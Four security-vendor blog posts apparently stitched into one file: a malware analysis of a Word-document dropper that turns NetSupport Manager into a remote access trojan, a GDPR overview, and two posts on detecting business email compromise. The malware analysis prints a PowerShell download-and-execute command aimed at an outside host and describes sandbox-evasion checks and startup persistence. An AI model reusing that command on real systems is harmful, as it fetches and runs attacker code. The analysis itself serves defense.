Input: Search Free Trial Get Demo Abusing Remote Administration Tools November 22, 2022 The bad, worse and the horrible by Gunnar Guðmundsson and Axel Marinho Guðmundsson Introduction In this article, we look at a malware payload from an exploited Microsoft Word document. With a little Python scripting and deciphering we research a single sample and gather a few more versions to view a history of active development. Recently we received a malicious DOCX document format containing an embedded Visual Basic script designed to download a compressed . hta payload. Figure 1 Visual Basic script The . hta file had an obfuscated function that downloads a PowerShell script disguised as a .php file that hides the following function IEXNew-Object Net.Webclient.downloadstringhttp8ltd8.comdocindex.php The downloaded script includes 11 files, obfuscated and compressed to hinder static analysis. After rewriting the de-obfuscation methods and acquiring the files hidden within, we discovered that the script hides a remote access trojan. The Methods Figure 2 Simple attempt to evade sandbox analysis The downloaded script checks the execution environment and closes the script if it detects that it is being run in a folder with a particular set of names, such as avast, avg, sample, malware, sandbox or virus. This logic is to avoid analysis. The program continues execution if these conditions are not met. The malware authors use the backtick symbol to make it difficult to read their code. After removing this character, the names of the files and paths become clear. However, the authors also used string concatenation for another layer of code obfuscation. The malware relies on a PowerShell script to do its dirty work by creating a pair of values with two distinct functions. Those functions use elaborate ways to obfuscate the routine of the malware, such as using bitwise operations, gzip compression, and base64 encoding. The methods mentioned above are used throughout the malware. Figure 3 Example of a path decryption function Figure 4 Obfuscated string to binary function Figure 5 Rewritten string to binary function The method works by parsing segmented strings and pairing them with a corresponding value, such as an index. The string is then assembled and base64 decoded, revealing a compressed .gzip file. The string is then converted to binary before the file is decompressed, another layer of base64 encoding once decrypted a correctly formatted binary file appears. Figure 6 Obfuscated string concatenation The malware relies on commercial software called NetSupport Manager. NetSupport Manager is employed worldwide as a remote administration tool used in education and business environments. In our case, NetSupport Manager sets up remote access on the affected system. In the case of this malware, the remote access is without the users consent and knowledge, turning legitimate software into a remote access trojan RAT. Another case involving the use of NetSupport Manager dates back to mid-2020. A Microsoft warning was displayed on some legitimately looking Excel attachments disguised as COVID service announcements deploying the malware by disguising it as a NortonLifeLock document . Not attributed to a single threat actor, recent research is rolling a similar campaign using the social engineering JavaScript framework SocGolish. This looks like the upg120710.hta. mentioned earlier. After the files have been decoded and saved, the script adds a presentation host executable to the host system environment variable. The executable runs on startup. The Presentationhost.exe is then executed and remote access is established. The script then deletes the PowerShell and text files after execution, removing most of their traces. Figure 7 Setting presentationhost.exe to run on startup The result of a successful infection means the attacker now has a beachhead inside the victims network and can do whatever he pleases steal information, install malware or ransomware remotely, or just passively gather network intelligence for further exploitation. Net Support Manager is a feature-rich remote management tool  its functionality is only limited by the attackers imagination and resources. In cases the is sold to a different threat actor, an infection can spell disaster for corporate targets. Samples From the Wild Interestingly, there are several samples of the same malware gathered from VirusTotal at various stages of development using the exact variable names and methods and implementing them one by one. We cannot confirm that this is the order of development from the submission dates alone, but the presence of the same variables and methods implies that the files are related. The rudimentary detection of debug environments was present in all samples gathered. The least developed sample is submitted at 2022-08-18 162512 UTC SHA25622ad3c158de2c06f565d6045a429ea12ea8b4ffc4877c30037242c474af44fb4 In the least developed sample, only the first three encoded files are present. The structure of the file is the same, but variables differ. The string to binary conversion function is present along with its ability to decompress the strings embedded into the file. There is no persistence on system reset or self-delete after infection written into the script. The functions look structurally the same, the string arrays and index numbers are numerically different but structurally the same while the resulting dropped files are the same as later samples, the order in which the files are decoded in the document is the same. This seems to be a non-functional version as one of the binary strings does not drop a file properly despite our best efforts. Second sample is submitted at 2022-08-13 164308 UTC SHA256ce1e624a5b2246bc400abb15fc4fef42d719e37be062746cb58d6040264c7905 It is the same as the first sample, but it adds a 4th file msver100.dll to the list of dropped files. In addition, the scuffed file has been repaired. Third sample is submitted at 2022-10-13 162904 UTC SHA25676226a4feb81da1729d845dce01335c7ec95dd1c6175485f28799e8e230e4229 This version looks like the first version of the current payload version and shares the decryption functions with the exact variable names. The strings used to encode the file strings and the indexes used to assemble and decode the strings, are the same as in the sample we reversed and deciphered. Fourth sample is submitted at 2022-10-18 172917 UTC SHA256f0bf3a231be598046b3047d5005de2bdc73a0c423f1d49185a4c7cccea08f7df This is where the malware starts resembling the final form. The total files dropped are now 10 with Nskbflter.inf, nsm.ini, nsm.lic, pcicapi.dll, pcicapi.dll, pcicehk.dll, pcicl32.dll added from the earlier iteration. There are no remarkable additions to the functionality besides the added files. Fifth sample is submitted at 2022-10-13 151132 UTC SHA256b89096989073fddd867960b924952df92a3afc120cb096883647e031d2ed9bc6 In this version, the author establishes persistence by adding itself to the startup routine of the host system. It also cleans up the files created and removes the PowerShell script once it was executed. The author adds tclltl32.dll file to the list of dropped files.

Input: Search Free Trial Get Demo GDPR Arrives on May 25 What It Means for You February 7, 2018 GDPR Arrives on May 25 What It Means for You The data produced at home and at work have become integral to functioning in our cyber-connected world. But with the proliferation of data and interconnected devices comes the vulnerabilities affecting the access, integrity, and security of that data. Major headlines detailing breaches over the past decade affecting nearly 2 billion users  across governments, national militaries, financial institutions, media outlets, and online services  have highlighted the importance of both organizational and personal data protection. To address this concern and to uphold information rights in the public interest, the European Union EU developed the General Data Protection Regulation GDPR, which will impact the data used by all European citizens, as well as the organizations that serve and do business with them. The EU will begin enforcement of GDPR on May 25, 2018. Do you know how GDPR will affect your organization, and are you prepared for these changes? The first step is to learn the GDPR basics. Data Protection Building on and expanding the Data Protection Act 1998 DPA, the GDPR outlines principles to guide organizations through digital interactions relative to data subjects and their personal data. Specifically, the GDPR addresses Accountability You are responsible for developing technical and organizational measures demonstrating GDPR compliance e.g., staff training, internal audits of processes, and HR policy reviews. When appropriate, youll need to appoint a Data Protection Officer DPO to conduct Protection Impact Assessments PIA.You will also be accountable for implementing measures to meet GDPRs principles of data protection. These measures include minimizing data collection from data subjects, treating pseudonymous data as personal data, achieving transparency in your data processing, and developing data security features. Consent GDPR requires affirmative consent to be documented, and individuals have the right to withdraw consent at any time. Your organization should not collect any personal data from individuals before you have asked for and received their permission. You must acquire, document, and save their permissions. Individuals also have the right to withdraw consentyour organization must put in place a process for withdrawal. Documentation Your organization needs to show name and contact info for your DPO, as well details regarding how information is processed and protected, including retention schedules and security measures. Processing Criminal Data Any processing of personal data related to criminal convictions or offenses should be done only when authorized by the EU or other government entity. Unnecessary Processing If data controllers no longer have a purpose for an individuals identification, they will not need to maintain, acquire, or process additional personal information. Processing Special Data Categories The GDPR prohibits the processing of personal data revealing any of the following, unless specified by the EU or other government laws or specifically exempted in GDPR, Article 9 Racial or ethnic origin Political opinions Religious or philosophical beliefs Trade union membership Genetic data Biometric data for the purpose of uniquely identifying a natural person Data concerning health or data concerning a natural persons sex life or sexual orientation. Data Subject Rights The GDPR strengthens existing rights and creates new ones, including the following The Right to Be Informed Organizations must be transparent and provide information and documentation on how you use personal data. The Right of Access To verify the lawfulness of their data processing, individuals are entitled to obtain confirmation when their data is processed, and they must be given access to that data. Child Data Protection Processing childrens personal data is lawful for individuals age 16 and older. For those younger than 16 years of age, you must obtain documented consent from a parent or person with authorized parental responsibility. The Right to Rectification Individuals have a right to rectify inaccurate or incomplete data, and organizations have the responsibility to disclose rectifications to third parties within one month. The Right to Erasure Individual may request the deletion or removal of personal data if there is no compelling reason for its retention or continued processing. The Right to Data Portability This allows individuals to easily and securely move, copy, or transfer data from one IT environment to another. The Right to Object Individuals have the right to object to processing based on legitimate public interests including profiling, direct marketing, and purposes of scientific or historical research and statistics. If you think you will be exempt from these regulations due to company size, think again. The GDPR does away with the criterion of number of employees and focuses instead on what organizations do with personal information. Any company, regardless of location, that processes personal data of an EU resident, is subject to the GDPR. Non-EU businesses processing data of EU citizens must appoint a representative in the EU. Lastly, these regulations have penalties associated with noncompliance up to 4 of annual global turnover or 20 million, whichever is greater. No need to panic! There is still time to become GDPR compliant before May 25. If you are unsure of your organizations readiness when it comes to requirements for protecting the rights of data subjects Chapter 3 of GDPR, let FileFacets help you understand and meet the requirements. Additionally, Article 22 of the GDPR protects individuals against solely automated decision-making no human interface, especially in legal or other similarly significant matters. This includes algorithm-based profiling. GDPR assesses penalties for noncompliance up to 4 of annual global turnover or 20 million, whichever is greater, so there is terrific incentive to be ready for implementation on May 25.

Input: Search Free Trial Get Demo Using NLP techniques to protect against BEC attacks December 8, 2022 How Natural Language Programming help combat phishing and BEC attacks by John Stevenson Business Email Compromise BEC Business Email Compromise BEC covers a range of email attacks that typically share a common core attribute. There is no obvious executable component, such as a URL or file attachment in the message that if opened, would initiate an attack. In the place of the executable component, they rely on social engineering techniques to trick the unlucky recipient. Generally, you can apply the 8020 rule to the relative proportions of what we might term conventional phishing 80 and BEC emails 20. The problem is that the 20 that is BEC messages are often the most damaging in terms of the financial impact on the organization. Smart techniques for stopping BEC BEC attacks are designed to evade traditional security defenses including Secure Email Gateways SEGs and Microsoft Office 365s native security controls, so additional smart techniques are needed to detect and remediate the attacks before they do any damage. In our last blog , we looked at how a modern email security solution can help to combat BEC attacks by analyzing indicators and anomalies in message metadata. In this session, well go a step further and look at how Machine Learning ML and Natural Language Processing NLP are essential to an effective BEC defense. Learning from the data lake Natural language processing NLP is a subfield of linguistics, computer science, and artificial intelligence concerned with the interactions between computers and human language. Using NLP to process and analyze large amounts of natural language data enables the defense to spot many of the tell-tale indicators of a BEC attack. But first, you need large amounts of natural language data. Cyren provides threat intelligence to some of the biggest technology platform providers in existence, helping to protect over 2 billion users, secure 25 billion transactions, and block 300 million threats per day. An important by-product of this threat intelligence is a colossal data lake of insights and information on the vocabulary and phraseology employed in malicious emails. The language of compromise Cyrens NLP algorithms use this data lake to learn the indicators of a potential threat by parsing three areas of any message for threat indicators. The sender, the subject, and the message body itself. Heres a quick guide to some of the tell-tale indicators in each of these areas. Some common tells in the way the sender is represented include the name being rendered in capital letters andor with CEO or Chief Executive Officer being included as part of the sender address. Subject lines that call for urgent action, include the victims name, include punctuation or unrelated characters and strange capitalization are also good indicators that all is not well. Email bodies that include discrete or secretive requests are a classic indicator of a BEC message, as are justifications for a request based on the sender being in a conference or in a closed meeting and therefore in need of assistance. Other indicators include the use of politesynthetic text that doesnt appear to be from a native speaker, poor grammar, and erratic formatting. Signing off a message with requests to respond only via email are also a giveaway. Stopping BEC attacks in the inbox Smart technologies like NLP are essential to a robust defense against BEC attacks and they need to be deployed where it counts, in the inbox. Vigilance in the inbox is the most effective way to combat evasive threats like BEC attacks that have evaded detection at the boundary or by Microsoft security controls. Next time in the final blog in this series, well look at another crucial aspect of effective BEC detection. Using behavioral analytics to identify patterns of behavior and, crucially, any anomalies that would indicate the presence of an attempted attack.

Input: Search Free Trial Get Demo Analyzing behavior to protect against BEC attacks December 22, 2022 Understanding normal behaviors in email exchanges are key to combating advanced phishing and BEC attacks by John Stevenson Detecting Business Email Compromise BEC In the final part of our series of blogs on Business Email Compromise BEC, its time to look at how AI, ML, and NLP all have a part to play in helping to detect the sometimes-subtle behavioral anomalies that indicate the presence of a Business Email Compromise BEC attack. The primary motivation for a BEC attack is financial fraud. An analysis of the Cyren data lake of malicious emails reveals that in four out of five cases employee impersonation was used as a classic foot in the door technique to try and trick the unwary. This is frequently accompanied by requests to change payment details, update banking information, or steal credentials such as those giving access to Microsoft 365, Sharepoint, or similar. So far in this series weve looked at how robust email security solutions analyze message metadata and the language in email content to detect these attacks. Now lets see how adding contextual information and identifying behavioral anomalies gives the defender a real advantage over the attacker. Context is king When it comes to detecting a BEC message, some of the earliest clues to the fact that something malicious is happening dont necessarily come from individual messages but from combinations of messages. Consider an interchange that begins with a seemingly innocuous message asking if the recipient is in the office that day. Of itself, it is innocent enough but if the recipient responds positively, they implicitly accept that the sender is genuine and open the way for ensuing messages to set up the next stage in an attack. Context is king and a robust email security solution needs to be able to analyze email trails like this to identify indicators of an advanced phishing or BEC attack. Anomaly detection Were creatures of habit. We acquire and repeat patterns of behavior in every aspect of our life and work is no different. These patterns extend to whom we talk to, how we talk to them, and what we say. And they extend to email too! By baselining normal behaviors in email traffic we can detect the anomalies that might indicate the presence of a BEC attack. Consider the following email, one that is representative of the kind of malicious message we see from the Cyren data lake On the face of it, the message looks fine but there are a number of anomalies that a robust email security solution is able to identify. The sender has never sent the recipient an attachment before Theres an informational warning indicating that the person may not be who they claim to be The sender has not previously requested payment on an invoice The sender would not normally signoff with Regards The attachment contains a URL in the footer Taken together these behavioral anomalies help to inform the email security solution that the message is both malicious and fraudulent. Stopping BEC attacks in the inbox Twenty-five years ago, firewalls deployed on the network boundary were considered sufficient to repel attacks from intruders. Then it became clear that the bad guys were still getting in and that intrusion detection technologies were needed to look for their presence inside the network. The same change is now taking place in the world of email security. Modern BEC attacks use an array of techniques to evade detection and defraud the unwary. Sometimes a piece of zero-day malware is concealed in an image. Other times a harmless URL suddenly becomes active  or weaponized  days after delivery. Sophisticated phishing and BEC attacks like this, routinely evade detection by both the boundary email security defense and Microsofts native security controls. For this reason, its essential that a robust email security solution capable of dealing with BEC attacks, operates where it matters  inside the user inbox.
